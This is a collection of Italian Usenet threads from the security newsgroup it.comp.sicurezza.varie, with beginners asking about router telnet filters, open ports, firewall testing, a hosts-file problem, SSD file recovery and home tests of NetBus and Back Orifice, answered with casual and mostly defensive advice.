mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.sicurezza.varie
Titolo: sicurezza 2

Come posso proteggere l'accesso dall'esterno (telnet) al router
dati:
a) Connessione ADSL con IP Dinamico
b) l router Zyxel Prestige 624R configurato come segue :
1 = Settaggio dei filtri TELNET_WAN  (comando 21.3 per chi ha lo stesso
router
che di default è gia predisposto) cioe' tutto quello che arriva dall'esetrno
porta 23 fai un drop packet
2 = Applicazione del filtro al Remote Node Setup ( comando 11) utilizzato
per la connessione
opzione Edit Option Filter = numero del filtro TELNET_WAN
salvo tutto ed esco.
Da una macchina della LAN apro il telnet con l'indirizzo IP pubblico ( e
dinamico) e .... si apre !!
cosa sbaglio  ???
forse che nonostante l'uso dell'ip pubblico sto accedendo da dentro la lan
??;
c'e' qualcosa che non faccio correttamente ?
Per chi ha lo stesso router : i parametri di fabbrica di configurazione del
filtro ( come d'altronde riportato nel manuale) sono corretti o vanno
cambiati ?
grz
Luigi

  cambiati ?
vanno bene cosi' come sono.
-- 
 (o_   Su questo anello, le lettere riportate da Isildur possono essere 
 //\   ancora lette. Io l'ho fatto, ed ecco cosa vi ho letto:
 V_/_  "Ash nazg durbatuluk, ash nazg gimbatul, ash nazg thrakatuluk 
       agh burzum-ishi krimpatul."  

 ??;
esatto. prova a fare telnet da casa di un tuo amico o da un'altra parte...
vedrai che nn funge.
ciao

Newsgroup: it.comp.sicurezza.varie
Titolo: R: Buon Natale

 Buon Natale anche a te

 ha scritto nel messaggio
news:9273ns$svn$1...@lacerta.tiscalinet.it...


 ha scritto nel messaggio
news:BiF16.176224$hk4.6...@news.infostrada.it...

sarei un bastrdo vero se dopo aver investito un tizio vestito di rosso in
tangenziale est adesso mandassi tre mail a vari abuse man?
un mayhem che io non odio mica tanto il natale sapete!
--
cosa bisogna scrivere in questo riquadro?

 un mayhem che io non odio mica tanto il natale sapete!
ROFL !!!
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *
Newsgroup: it.comp.sicurezza.varie
Titolo: test casalingo

Con una rete minima del genere:
	Internet 
	    |
	    |
	   ppp0
	    |
	Macchina Target-- eth0 <---------------> eth0 --Macchina ABC
non considerando più ppp0 (quindi staccando il collegamento ad Internet),
avendo tutti i servizi di Target in ascolto su eth0 ed utilizzando Iptables
proprio su questa interfaccia (invece che sulla solita ppp0) è possibile
condurre dei test attendibili per il firewall? Azioni come invio di vari tipi
di pacchetti sarebbero trattate allo stesso modo che se provenienti
dall'esterno? Sarebbe attendibile (comunque facendo attenzione alle dovute
differenze ovviamente) come test sulla configurazione di Iptables?
Da incompetente, io immagino che si possa fare. Pacchetti incapsulati in
Ethernet invece che in PPP non dovrebbero costituire un problema, se il mio
firewall lavora comunque a livello IP (spero sia abbastanza fecile
l'espressione :), o sbaglio? Sarebbe ottimo se si potesse attuare. 
Fatemi sapere se vi va.
-- 
saluti,
Giovanni

dall'esterno?
Si'. Tranne che eventuali controlli/azioni basate sul TTL, a meno che
la macchina ABC non lo alteri ad hoc.
Occhio a non "autorizzare" ABC a determinate cose perche' fa parte di
una stessa sottorete.
Eventualmente potresti provare ad attivare una seconda ethernet alias
con un diverso IP su ABC.
Leonardo

Newsgroup: it.comp.sicurezza.varie
Titolo: domande su WinNuke

scusa la mia ignoranza, nonostante l'eta' sono da poco approdata al Web, sapresti darmi altre informazioni su WinNuke ? altrimenti dove potrei trovare maggiori chiarimenti su come funziona (e come ci si protegge...) ?
ho dato un'occhiata con altavita ma con scarsi risultati ...
grazie, Mary
--
Automatic posted from 
mail.tin.it
 [194.243.154.49]
via Mailgate Server - 
http://www.mailgate.org


Ti consiglio di dare un'occhiata su Crash alla pagina:
http://vento.pcj.net/crash/sm9709.htm
Ciao

On 6 Apr 1998 21:05:48 +0200, Mary & Ange wrote:
:>scusa la mia ignoranza, nonostante l'eta' sono da poco approdata al Web, sapresti darmi altre informazioni su WinNuke ?
:>ho dato un'occhiata con altavita ma con scarsi risultati ...
Potresti provare sui seguenti link ...
http://www.l0pht.com/
http://www.hacked.net/
http://hack.box.sk/
http://www.hip97.nl/
http://www.hope.net/
http://www.rootshell.com/
http://www.ilf.net/
alessand...@usa.net
 -  
http://users.iol.it/alessandro.carini/
  -  pgp key available

Newsgroup: it.comp.sicurezza.varie
Titolo: Da ip fisso LAN fare scan su porte router???

Ciao faccio parte di una LAN e ho necessità di verificare l eporte
aperte sul router,
che programmi posso usare per scannare le porte???


nmap (
www.insecure.org/nmap/).
.. Il fatto che chiedi un programma per 
are lo scan delle porte mi fà comunque pensare che tu non sia ne 
l'amministratore ne sia da esso autorizzato, quindi attento..

In parte...
sono amministratore di sistema ma la rete è gestita da terzi per cui
mi trovo costretto ad usare uno scanner per caopire le porte aperte
sul router.

Scusa ma come si configura???
Io vorrei avere la lsita delle porte aperte, come faccio??
Che indirizzo ip devo specificare?? Quali comandi??
Newsgroup: it.comp.sicurezza.varie
Titolo: Bugs e virus negli attachement di posta elettronica.

 nei programmi di e-mail

> nei programmi di e-mail
Lo ho letto anch'io sul Corriere della sera: sono stati scoperti dei buchi
nei programmi più diffusi di posta e la Qualcomm ha già diffuso una patch
per Eusora Pro 4. La versione Light dovrebbe essere esenta da questo
problema
Ciao
** Togliere "CIAO" dall'indirizzo per rispondere per E-mail
** Remove "CIAO" from the address to reply by E-mail
~~~~~~~~~~~~~~~~~
Davide Veneziano
My E-mail is   hfdav#
iol.it
or dvene#
usa.net
# = @
ICQ# 14047537
~~~~~~~~~~~~~~~~~

, "HF" <hf...@CIAOiol.it> wrote:
[cut]
:Lo ho letto anch'io sul Corriere della sera: sono stati scoperti dei buchi
:nei programmi più diffusi di posta e la Qualcomm ha già diffuso una patch
:per Eusora Pro 4. La versione Light dovrebbe essere esenta da questo
:problema
SI tratta di due problemi distinti. 
1) Quello di eudora (molto meno serio) consiste nella possibilita' di
mostrare un'url che invece di far partire il browser, attiva un file
malizioso accluso alla mail. Sostanzialmete si puo' ingannare la vittima,
facendo attivare un file eseguibile incluso, con un click del mouse su un'
URL che serve apparentemente a puntare su un sito web. Se si dovessere
ricevere un messaggio con un file incluso e delle URL nel corpo e non si
e' aggiornato Eudora pro, basta chiudere il messaggio e non ci sono
problemi.
2) Problema di Outlook e Netscape (serissimo). Potrebbe trasformare la
leggenda metropolitana del virus Good Time in realta': semplicemente
_leggendo_ una mail si potrebbe  attivare un virus (o magari la
formattazione del proprio HD).
Il problema sta nel fatto che i due software gestiscono male la parte del
messaggio che indica il nome di un file incluso con codifica mime. Se il
nome del file eccede una certa dimensione, si ha un oveflow e i caratteri
che eccedono vanno a riscrivere le aree di memoria occupate dal codice del
programma di posta. A questo punto si ha un eseguibile, residente in
memoria, che  puo essere attivato da una qualsiasi operazione dell'ignara
vittima su programma di posta (basta un semplice click su una tendina).
Considerato che outlook viene installato con windows e che anche netscape
e' diffusissimo, il rischio di una nuova generazione di virus capaci di
infettare semplicemente con l'apertura del messaggio e veramente elevata.
Le patch sono disponibili: e' importantissimo installarle quanto prima.
Tutte le informazioni sul sito ciac nelle url indicate nella mia
signature.
Saluti
-- 
Carlo Fusco
Attenzione l'indirizzo e' stato volutamente alterato: rimuovere ".to" 
____________________________________________________________________
Attenzione potresti ricevere dei _#virus#_ se usi outlook o netscape
http://www.ciac.org/ciac/bulletins/i-077a.shtml
http://www.ciac.org/ciac/MIMEfaq.html
____________________________________________________________________
Newsgroup: it.comp.sicurezza.varie
Titolo: come si fa'?

scusate se vi disturb, mi potreste dire come si fa' a leggere le FAQ?
grassie

scusate se vi disturb, mi potreste dire come si fa' a leggere le FAQ?
http://members.nbci.com/gouldukat/

 grassie
Tornando alla prima elementare.
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

scusate se vi disturb, mi potreste dire come si fa' a leggere le FAQ?
E' scritto nelle humor FAQ.
-- 
Buttha
my tribute to SPAM: 
http://www.goriziaok.it/gioco

Newsgroup: it.comp.sicurezza.varie
Titolo: porte aperte

137,138,139,aperte ,è pericoloso

 
dipende......diciamo che non è necessario che tu le abbia aperte a meno che 
non sia su una rete proprietaria.....
-- 
By Orion

 137,138,139,aperte ,è pericoloso
si, c'e' parecchia corrente.
-- 
 (o_   Su questo anello, le lettere riportate da Isildur possono essere 
 //\   ancora lette. Io l'ho fatto, ed ecco cosa vi ho letto:
 V_/_  "Ash nazg durbatuluk, ash nazg gimbatul, ash nazg thrakatuluk 
       agh burzum-ishi krimpatul."
 

137,138,139,aperte ,è pericoloso
Cos'e`? Il Colosseo? :)
Che tipo di controllo hai eseguito? Un netstat a computer appena
acceso? Se il protocollo interessato e` UDP allora direi che puoi
cominciare a preoccuparti... :)

 cominciare a preoccuparti... :)
...ciao,
io uso Sygate ed è possibile impostare alcune regoline in modo che tali
porte siano chiuse quando il protocollo UDP è in uso: che faccio, imposto la
regolina?
^__^
Momo®        ICQ# 76126232
_____________________________
Io Odio Tutto cio' che e' Schematizzato.
Tutto cio' che e' Programmato.
Tutto cio' che e'Pianificato.
Io Odio quelli che Controllano. Quelli che
Condizionano. Quelli che Suggestionano.
Perche' io sono uno Spirito Libero.
Ed uno Spirito libero a Quelli puo'
sembrare anche Mostruoso.

> 137,138,139,aperte ,è pericoloso
Dipende: se sei in una rete locale devono esserlo per forza per permettere il
funzionamento della rete. Se non sei in una LAN possono anche essere aperte
dal punto di vista del sistema ma sarebbe meglio all'esterno mediante un
packet filter (firewall, diciamo) per impedire che computer non autorizzati
possano usarle.
Fabio

regolina?
Ma... non fai prima a disabilitare il netbios? A che ti serve?
P.S.: Renderesti standard la tua firma?
(trattino-trattino-spazio-accapo-max 4 righe) 

 wrote in message
dBuT7.325639$sq5.15...@news.infostrada.it...


 Mi hai fregato la firma è? ;-)
...è troppo bella e certe idee di questi tempi occorre farle girare
^__^
Senza offesa dunque.
ciao
Momo®        ICQ# 76126232
_________________________________
A me non piace tutto cio' che e' schematizzato,
tutto ciò che è pianificato.
A me non piacciono quelli che controllano,
quelli che condizionano, quelli che suggestionano.
E quelli che pensano che le menti altrui siano
strumenti.
Uno Spirito Libero a qualcuno può sembrare anche
mostruoso.

 mostruoso.
:-D
La Guida del Piccolo Plagiatore?!

 La Guida del Piccolo Plagiatore?!
...spero sia infettivo
=;P
Newsgroup: it.comp.sicurezza.varie
Titolo: router porte 80 e 23 aperte...

Ciao a tutti,
ho provato a fare il test ShieldsUp di GRC sul mio router dopo che ho
disattivato il firewall hardware. Cosi' mi segnala che le porte 80 e
23 sono aperte. Il test fatto sul mio router rappresenta anche la
sicurezza dei pc collegati a questo? Perche' questi sono protetti da
un firewall software. Voglio dire il test che ho fatto senza firewall
hardware controlla anche la sicurezza di questi 2 pc oppure
rappresenta solo quella del router? In ogni caso disattivare il
firewall del router rappresenta dei rischi seri? Il fatto che siano
aperte queste porte e' grave? In compenso ho gia' dei firewall
software. In alternativa come faccio a fare il test direttamente sui
pc??
grazie
ciao



Come faccio a chiudere queste porte eventualmente?? Per quale motivo
restano aperte???
grazie
ciao



Che router/firewall hai?
Se hai un router che ti "collega" la rete in internet, allora questo fa il
NAT, ovvero gestisce i pacchetti in entrata e in uscita dalla rete.
quando fai un portscan tipo GRC, le porte che rispondono sono quelle del
router, non del pc: per fare un portscan del tuo pc dovresti "nattarlo" sul
router, ovvero configurare il router per redirigere tutti i pacchetti
entranti di tipo SYN verso il tuo pc, cosa che comunque non ti consiglio di
fare.
Ciao,
Davide


wrote:

E' un modem/router....
Perche' mi sconsigli di farlo?? Lo potrei fare solo per il test.

 ha scritto nel messaggio 
news:itq282ln9b6liqobe...@4ax.com...

1) No
2) Analizza il router
3) Si
4) Si, non è che hai l'interfaccia di configurazione aperta al mondo 
esterno?
(80 = http, 23 = telnet)
Ti consiglio vivamente di consentire la configurazione solo dalla rete 
interna.
5) Lascia perdere.

Newsgroup: it.comp.sicurezza.varie
Titolo: Porte Aperte !??!!

Ho fatto uno PortScan sulla mia macchina. Ho trovato queste porte aperte,
non capisco cosa siano, e che funzione hanno. Potreste aiutarmi a capirlo?
1025 Network Blackjack
1032 BBN IAD
1801 Microsoft Message Que
2103 Zephyr serv-hm connection
2105 MiniPay
5000 ?
Grazie per l'eventuale aiuto Fabrizio



5000 ?
che sistema operativo hai?
Davide
--
Prima di postare: 
http://alnitak.ctt.it/%5Erni/smartq.php
Un esperto sempre disponibile: 
http://www.google.it

Newsgroup: it.comp.sicurezza.varie
Titolo: connessione sospetta

vedo con tcpview che svchost si collega a 151.7.11.145 o 151.7.11.146
e si mette a scarica (vedo con dumeter)
Che indirizzo č?!

 151.7.11.145
http://www.all-nettools.com/toolbox
Newsgroup: it.comp.sicurezza.varie
Titolo: messaggio inviato

Come può essere stato spedito un messaggio di posta eletronica  dal mio
compiuter ???
stavo mandando un messaggio ad un mio amico quando ad un tratto mi ritrovo
un messaggio stato pedito circa un minuto prima ?? come mai come può essere
cercate di capire sono nuovo e non hò esperienza nel settore
dimenticavo sono allegati due indirizzi email che io non conosco
e come oggetto è intestato cosi   grazie per una risposta ....
Modulo inviato da Microsoft Internet Explorer

 ha scritto nel messaggio
news:9b7o3l$cki$1...@lacerta.tiscalinet.it...


un questionario compilato on-line che sfrutta il tuo client di posta per
mandare i dati?
Lost
--
"How do you prove that you exist...? Maybe we don't exist..."

 ha scritto nel messaggio
news:9b9c0e$6qi$1...@fe2.cs.interbusiness.it...

Newsgroup: it.comp.sicurezza.varie
Titolo: Spyware o non spyware...

Salve a tutti,
ho un problema che spero possiate aiutarmi a risolvere:
ho necessità, per motivi di lavoro, di registare delle interviste
telefoniche, e ho trovate in rete un programma che fa al caso, Veritape, ma
che ha dalla sua il vizio di installare dello spyware, socvato e rimossao da
ad-Aware.
Quello che mi e vi chiedo è se conviene correre il rischio di avere quella
robaccia sul computer, (al limite potrei installare -
rimuovere -pulire-reinstallare....)che tipo di rischio si corre, tale
rischio è solo qaundo si è on-line o sempre, e , se magari, conoscete un
programma analogo pulito.
Grazie a chiunque voglia darmi indicazioni.

ad-Aware.
Tutto considerato ti conviene usarlo e fregartene del fatto che
installi aureate.  Per ora ci sono solo sospetti che quei programmi
trasmettano, oltre a dati anonimi, anche informaizoni personali...
Lapalissiano
Icq 57269703

Newsgroup: it.comp.sicurezza.varie
Titolo: Bloccare la webmail

Buongiorno,
mi trovo nella necessità di bloccare
(o arginare) l'utilizzo dei siti che offrono
account di posta via http.
Utilizzo un proxy Symantec Web Security,
la cui lista predefinita Interactive/Mail
è però lungi dall'essere completa,
soprattutto per quanto riguarda i siti italiani.
Esiste una lista esaustiva?
In subordine, è possibile discriminare, all'interno
del content http, le pagine relative alla webmail?
Cioè, esiste una tag o qualcosa di assolutamente caratterizzante
questo tipo di pagine?
Grazie,
loacker

 questo tipo di pagine?
non credo francamente. Puoi però limitarne l'uso. Ad esempio molte 
webmail si appoggiano a porte non standard per HTTP (ad esempio io 
uso la 81 in loco alla 80). quindi potresti ad esempio, bloccare le 
comunicazioni in HTTP verso porte diverse dalla 80. Ovvio che è poco, 
e non ho idea di quante webmail vi siano...Presumo centinaia :(
-- 
Ciao, Dmitry
FIAG - Free It-Alt Group  ~   
http://www.fiag.it
X-PLANET Community        ~   
http://www.x-planet.org
Newsgroup: it.comp.sicurezza.varie
Titolo: iplogd: spoofed tcp packet: syn-flood attack?

Salve mi spiegate a che serve un attacco su un Pc in rete del tipo:
log di iplogd:
Mon Sep  6 13:27:25 1999:2: Spoofed TCP packet (flags=|SYN|;
ports=1023->22)
Mon Sep  6 13:27:25 1999:2: Spoofed TCP packet (flags=|SYN|ACK|;
ports=22->1023)
Mon Sep  6 13:27:25 1999:2: Spoofed TCP packet (flags=|ACK|;
ports=1023->22)
Mon Sep  6 13:27:26 1999:2: Spoofed TCP packet (flags=|PSH|ACK|;
ports=22->1023)
Mon Sep  6 13:27:26 1999:2: Spoofed TCP packet (flags=|ACK|;
ports=1023->22)
Mon Sep  6 13:27:26 1999:2: Spoofed TCP packet (flags=|PSH|ACK|;
ports=1023->22)
Mon Sep  6 13:27:26 1999:2: Spoofed TCP packet (flags=|PSH|ACK|;
ports=22->1023)
Mon Sep  6 13:27:26 1999:2: Spoofed TCP packet (flags=|PSH|ACK|;
ports=1023->22)
Mon Sep  6 13:27:26 1999:2: Spoofed TCP packet (flags=|ACK|;
ports=22->1023)
oppure:
Mon Sep  6 17:02:16 1999:2: Spoofed UDP packet (ports=1396->518)
Mon Sep  6 17:02:16 1999:2: Spoofed UDP packet (ports=518->1396)
Mon Sep  6 17:02:16 1999:2: Spoofed UDP packet (ports=1396->518)
Mon Sep  6 17:02:16 1999:2: Spoofed UDP packet (ports=518->1396)
Mon Sep  6 17:02:16 1999:2: Spoofed UDP packet (ports=1396->518)
che roba e'? (ne trovo a tonnellate nel file di log spesso con porte
diverse)
syn flood-attack?? (ci sono anche gli ACK pero')
scanning delle porte?
L'unico problema che rilevo e' una certa grandezza del file iplogd.log
ma nessun altro sintomo.
Il pc e' "sicuro": unico servizio sshd.
-- 
 +-------------------------------------------+ 
 |        Enrico Bodo  -   PhD student       |
 |      University of Rome "La Sapienza"     |
 |          Department of Chemistry          | 
 +-------------------------------------------+

Mon Sep  6 17:02:16 1999:2: Spoofed UDP packet (ports=518->1396)
Due programmi, che si parlano in UDP, sull'interfaccia di rete. Giuro
che non ho idea di cosa sia. Be', in realta' ce l'ho: ntalk.
Leonardo
".signature": bad command or file name

 che non ho idea di cosa sia. Be', in realta' ce l'ho: ntalk.
faccio un po' di prove e vedo.
Quello che mi premeva era sapere se fosse uno scanning o un flood
attack ed escludendo i due sto piu' tranquillo.
grazie

Newsgroup: it.comp.sicurezza.varie
Titolo: Mi elencate il "software" necessario ?

Non mi riferisco certo a e-mail client, browser vari etc...
Sento parlare di BO, nukenabber, agressor e altri prog piu' o meno
utili, dannosi, protettivi. Che non si trovano nei siti ordinari.
Potete elencarmi quelli secondo voi indispensabili (tipo ascolto delle
porte, scudi contro la ricezione di pacchetti illeciti, monitor di
rete (?)...) generalmente legati alla sicurezza ?
Insomma, "consigli per gi acquisti".
Ah, ma non avete il terrore di farli girare una volta scaricati ?
(si'...ci sono gli antivirus...pero'...).
 - Mica scaricate i sorgenti, controllate e compilate ? -
Grazie
Saluti
    Delivery
"Conosco una persona che si mette sempre in discussione e mai in dubbio"

  mailto:
m...@iol.it
(*)
PGP keys avaible on keyservers.
PGP version: 2.6.3i -- RSA 2048  KeyID=0x254057F5
PGP version: 5.5.3i -- DH/DSS 4096/1024  KeyID=0x46C0C5BD
(*)(*)(*)(*)(*)(*)

(si'...ci sono gli antivirus...pero'...).
Se li conosci li eviti, se li conosci non ti uccidono.
Ciao
Luca
--
Luca Bruschi - 
I.NET
 S.p.A.
lucky[@]
Eru.INET.it
Togliere le parentesi [] per rispondere.

Newsgroup: it.comp.sicurezza.varie
Titolo: a a a cercasi linux esperto

Salve a tutti,
sono alla ricerca di una persona appassionata di informatica che conosca 
  linux in tutte le sue varianti hehe. Il tutto per un progetto in rete.
Tranqui non dovete mettere mano al portafoglio hehehe.
Ciao.
highlander
www.highlanderdj.altervista.org

 Tranqui non dovete mettere mano al portafoglio hehehe.
he he, sei nel gruppo sbagliato eh eh
-- 
Ciao, Dmitry 

 Tranqui non dovete mettere mano al portafoglio hehehe.
Veramente mi preoccupo che le mani al portafoglio te le metta tu. hehehe.
(ma che 'te ridi?)

 
www.highlanderdj.altervista.org
dovresti IMHO alleggerire la HP
-- 
extrabyte

 
a questo ci stara' gia' pensando qualcuno
-- 
Er hatte Schulden denn er trank/Doch ihn liebten alle Frauen
Und jede rief:/"Come on and rock me Amadeus"
/* 
amad...@despammed.com
 */

 
???????????????????????????????????
Help esplicandovi pleae :-)
Highlander
www.highlanderdj.altervista.org


Mmmmmh vediamo:
- quoti alla pene di segugio
- sei OT
- Spammi un sito che fa cagare
- Parli l'italiano peggio di biscardi
Se riesci a correggere quanto sopracitato allora sei il benvenuto.


Grazie per essere giudicato in base al mio italiano( che aspide ha che 
non va?).
Ok per l'ot.
Spammo un sito che fa............opinabile visto che in 66 giorni ho 87 
iscritti, 5075 accessi,8180 pagine viste e 1651 messaggi.
Scusate per il quote alla cefalo maniera.
Grazie cmq levo il disturbo.
A grazie in particolare a DIO sceso tra noi mortali.
Ma una bomba in rete non cade mai?????????????

 Ma una bomba in rete non cade mai?????????????
Guarda ne sta giustappunto arrivando una sottoforma di abuseman di
altervista.


mvfc
Boh

>
Newsgroup: it.comp.sicurezza.varie
Titolo: Sicurezza Ebay

Ho visto che con Ebay ci si può connettere con lo stesso account
contemporaneamente da due computer diversi. Ciò non potrebbe essere un
problema per la sicurezza o comunque per la trasparenza delle aste?
Grazie :)
-- 
Non lo capiscono, i grandi, che il mondo dei giovani è un mondo fragile.
E' come un paese in guerra permanente, in cui tutti vogliono avere
ragione. E nel quale veniamo spesso lasciati da soli.
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

 problema per la sicurezza o comunque per la trasparenza delle aste?
In che senso, scusa?

 In che senso, scusa?
Boh. Non mi occupo di queste cose ma vedo ogni giorno bollettini sulla
sicurezza allucinanti su cose che a me non verrebbero mai in mente.
Quindi mi domandavo se permette l'accesso concorrente (si dice cosě) con
lo stesso account da due pc diversi non ponesse problemi di sicurezza o di
trasparenza.
-- 
Non lo capiscono, i grandi, che il mondo dei giovani č un mondo fragile.


 trasparenza.
Praticamente tutte le web application possono gestire più sessioni dello 
stesso utente, senza problemi di sicurezza (ciascuno ha la sua sessione).
Per quanto riguarda le aste, non vedo come uno possa fare qualcosa di 
scorretto collegandosi con lo stesso utente da più postazioni. E' più 
probabile essere scorretti collegandosi con utenti diversi...

Newsgroup: it.comp.sicurezza.varie
Titolo: Porta 8888

Salve a tutti!
Premetto che non ci capisco molto di internet, sicurezza, ma almeno mi sono
dotato di un antivirus (InoculateIT che aggiorno ogni 2 settimane) e di un
firewall (ZoneAlarm). Forse proprio per un falso senso di sicurezza, non ho
mai guardato il file log del mio firewall, ma ieri l'ho fatto e ho scoperto
che quotidianamente ricevo qualche centinaio di "attacchi" tutti sulla porta
8888 dai più svariati IP. Ora, io utilizzo l'adsl di teleconomy e non uso
programmi tipo napster o roba varia, solo ICQ ogni tanto. Sapete darmi
qualche delucidazione?
Grazie, ciao

 8888 dai più svariati IP.
Volevo precisare che è dall'inizio di aprile che ho questo problema:
intrusioni persistenti (una ogni tot secondi) tutti sulla stessa porta
(8888). Ho anche pensato che avesse a che fare con napster o robe simili,
dato che, quando mi collego, io potrei "subentrare" (scusate, ma i termini
tecnici proprio non li conosco) all'IP di qualcuno che precedentemente
utilizzava Napster. Il problema è che io solitamente mi collego alla mattina
e mantengo lo stesso ip per tutto il giorno e quindi mi chiedo se esista
qualcuno che dopo una decina di ore continui a credere che io utilizzi
napster.
Se sapete darmi ulteriori delucidazioni, vi sarei grato.
ciao
Newsgroup: it.comp.sicurezza.varie
Titolo: Mistero

Vorrei chiedervi una cosa.
Non riesco a visualizzare alcuni siti, quali:
www.repubblica.it
www.microsoft.com
\italy
www.macromedia.com
 e altri ancora. Ogni volta che mi connetto con questi siti mi dice
impossibile visualizzare etc etc.
Vedo che il browser si connette ai siti in questione ma dopo poco mi da la
pagina bianca con il messaggio.
Faccio un ping al sito e mi da la risposta.
Ho provato con IE 5 netscape Opera, ma non riesco.
Ho provato con diversi accessi come clubnet, 
tin.it
, infostrada, inwind, ma
niente.
La cosa strana è che se provo con i miei stessi accessi remoti, su altri
computer riesco a vederli.
Che può essere?
Ringrazio chi mi saprà essere d'aiuto.
Alessandro

impossibile visualizzare etc etc.
Scusa, cos'hai in C:\WINDOWS\HOSTS ? Se hai questo file, s'intende.
Leonardo
".signature": bad command or file name

 Scusa, cos'hai in C:\WINDOWS\HOSTS ? Se hai questo file, s'intende.
Appropo'... com'è che a me rimane sempre vuoto, con il solo localhost,
e ad altri funziona da cache e si riempie di schifezze? Mah...
-- 
dario...@iol.it
 (pgp key on pgp servers)
http://dario.eyep.net
 (dial-up)
ICQ#: 37438061
The only good Windows is an uninstalled Windows, or maybe Windows2K

e ad altri funziona da cache e si riempie di schifezze? Mah...
C'e' un programmino (solo sei mega compressi: un affarone) che ho visto
su VolFtp, mi pare "DNS Accelerator", che fa in modo che la risoluzione
dei nomi su Windows faccia cachare ancora piu' del solito.
Nota che "localhost" e "loopback" (mi pare) sono HARD CODED dentro alla
inetmib1.dll, quindi puoi anche mettere
192.168.1.1	localhost
e "ping localhost" continuera' a pestare su 127.0.0.1.


dei nomi su Windows faccia cachare ancora piu' del solito.
C'e' anche FastNet99 (2 mega scompattato) che va a scrivere sul file
hosts.
Lapalissiano
Icq 57269703

 ".signature": bad command or file name
Questo file ce l'ho. L'ho aperto e ho una serie di indirizzi con il numero
di dns(?) a fianco.
A cosa serve questo file, potreste aiutarmi?
Vi ringrazio Tanto.
Alessandro

A cosa serve questo file, potreste aiutarmi?
Servirebbe a velocizzare le operazioni evitando di chiedere al DNS gli
indirizzi ip dei siti li' elencati. Probabilmente e' stato un
programma tipo Fastnet99 ad andare a scrivere li' e se successivamente
gli indirizzi ip sono cambiati e tu non hai aggiornato il database di
fastnet99 ottieni di non trovare piu' i siti in questione.
Apri hosts e svuotalo.
 
Lapalissiano
Icq 57269703

 Apri hosts e svuotalo.
Funziona Grazie.
Alessandro

di dns(?) a fianco.
Cancella le righe contenenti gli indirizzi irraggiungibili.

Newsgroup: it.comp.sicurezza.varie
Titolo: Analisi pacchetti server Web

Analizzando i log del mio firewall ho notato delle cose che non mi sono
molto chiare. Un paio di indirizzi ip esterni continuano a fare richieste
sulla porta TCP 53 del mio server web. Che tipo di pacchetti sono? (il
servizio dns dovrebbe girare su porta UDP 53 e non tcp, o sbaglio?). Come
posso avere il maggior numero di informazioni su questi indirizzi esterni?
Inoltre ho notato che il mio server web spesso fa delle richieste sulle
porte 137 e 138 all'indirizzo di broadcast della mia rete pubblica, eppure
ho rimosso il servizio netbios. Chi mi sa dare qualche delucidazione?
Grazie.

porte 137 e 138 all'indirizzo di broadcast della mia rete pubblica, eppure
Qui forse il thread piu' sopra intitolato "[?] e' normale" ti puo'
interessare...
-- 
HappyCactus - Registered Linux User #209744
Cannot delete files, disk full. Try to delete some file.

Newsgroup: it.comp.sicurezza.varie
Titolo: [sapevàtelo] file cancellati su un ssd m2

non c'è verso, ho usato recuva con scansione deep, non trova praticamente 
nulla, a conferma di quanto avevo letto a suo tempo
 
san backup (che non c'è) aiutaLI tu
 
-- 
/-\ /\/\ /\/\ /-\ /\/\ /\/\ /-\ T /-\
-=- -=- -=- -=- -=- -=- -=- -=- - -=-
........... [ al lavoro ] ...........

 
 
 
Non è che non si recuperano sempre, se è passato poco dalla 
cancellazione è possibile riuscire a recuperarli. Ma se nel frattempo è 
stato eseguito il trim e malauguratamente è anche scattato il defrag 
mensile che Windows fa anche sugli SSD, allora chiaramente non c'è nulla 
da fare.

 cancellazione è possibile riuscire a recuperarli.
 
Magari anche con un programma più potente di Recuva... :-)

Il giorno Wed 04 Aug 2021 05:04:08p, *Guglielmo* ha inviato su 
it.comp.sicurezza.varie il messaggio news:seea97$54p$
3...@dont-email.me
. 
Vediamo cosa ha scritto:

almeno due mesi...
 
proverei anche photorec/testdisk ma temo che serviranno a poco (oltretutto 
li sto già usando a casa per un altro lavoro e sono mostruosamente lenti 
sul vecchio pc che li esegue)


 almeno due mesi...
 
 
Abbé allora lascia perdere. Il trim sarà intervenuto chissà quante volte 
ad indicare al firmware dell'SSD quali blocchi cancellare per prepararli 
a nuove scritture  e probabilmente Windows ha anche fatto due bei defrag 
su quella partizione.

 Abbé allora lascia perdere.
 
mi hanno dato i dettagli: avevano fior di documenti salvati in locale nella 
cartella onedrive
pare che la signora, che smetteva di lavorare per loro, abbia pensato bene 
di svuotare le cartelle nella sua "Documenti", tra le quali anche la 
sopracitata OneDrive, e il buon windows ha immediatamente sincronizzato il 
cloud, cancellando tutto anche lassů
microsoft, contattata, ha detto che i backup sono a cura del cliente e loro 
non sono in grado di tornare indietro di due mesi (e non posso dargli 
torto)
pare anche che adesso compreranno un NAS per fare le copie...


 pare anche che adesso compreranno un NAS per fare le copie...
 
Se si fa un link sul desktop anche la prossima andandosene via 
cancellerà il tutto ... ... :D
 
M.
Newsgroup: it.comp.sicurezza.varie
Titolo: Prima ho chiesto di BO.... ora chiedo di NetBus

Dopo le precisazioni che mi sono state date qui sul NG per un mio msg
precedente sul BO, chiedo delle informazioni sul NetBus, o piu
precisamente su una sua particolare funzione...
Il pulsante "System Sound" non ho ben capito a cosa serve, leggendo
qualche doc, mi pare che venga usato per registrare quello che viene
percepito dal microfono attaccato al PC infettatto (naturalmente se
presente). Pero quando provo (uso le backdoors qui a casa connettendo
via cavo 2 PC assieme) in basso a destra sulla finestrella aperta mi
scrive "Error!" e non riesco a capire il motivo. C'e qualcuno che
potrebbe darmi delucidazioni un merito??
  .----------------------------------------------------------------. 
 | IRC Nick in Undernet su #MITICI: Veleno                         | 
 | ICQ UIN: 8033698                                                | 
 | 1? email: 
tonyN...@telenia.it
                                 | 
 | 2? email: 
sque...@hotmail.com
                                 |
 | Homepage: 
http://www.geocities.com/TimesSquare/Labyrinth/6657/
  |
 ._________________________________________________________________. 
*** Naturalmente togliete il NOSPAM

 Comi li connetti i due comp? .. guarda che per seriale o parallela non va
bene!
  Al limite con un interfaccina software ti ci vuole un cavo seriale null
modem
 Oppure due radio modem per il collegamento che si fanno con 20.000 lire di
spesa.


Mai sentiti
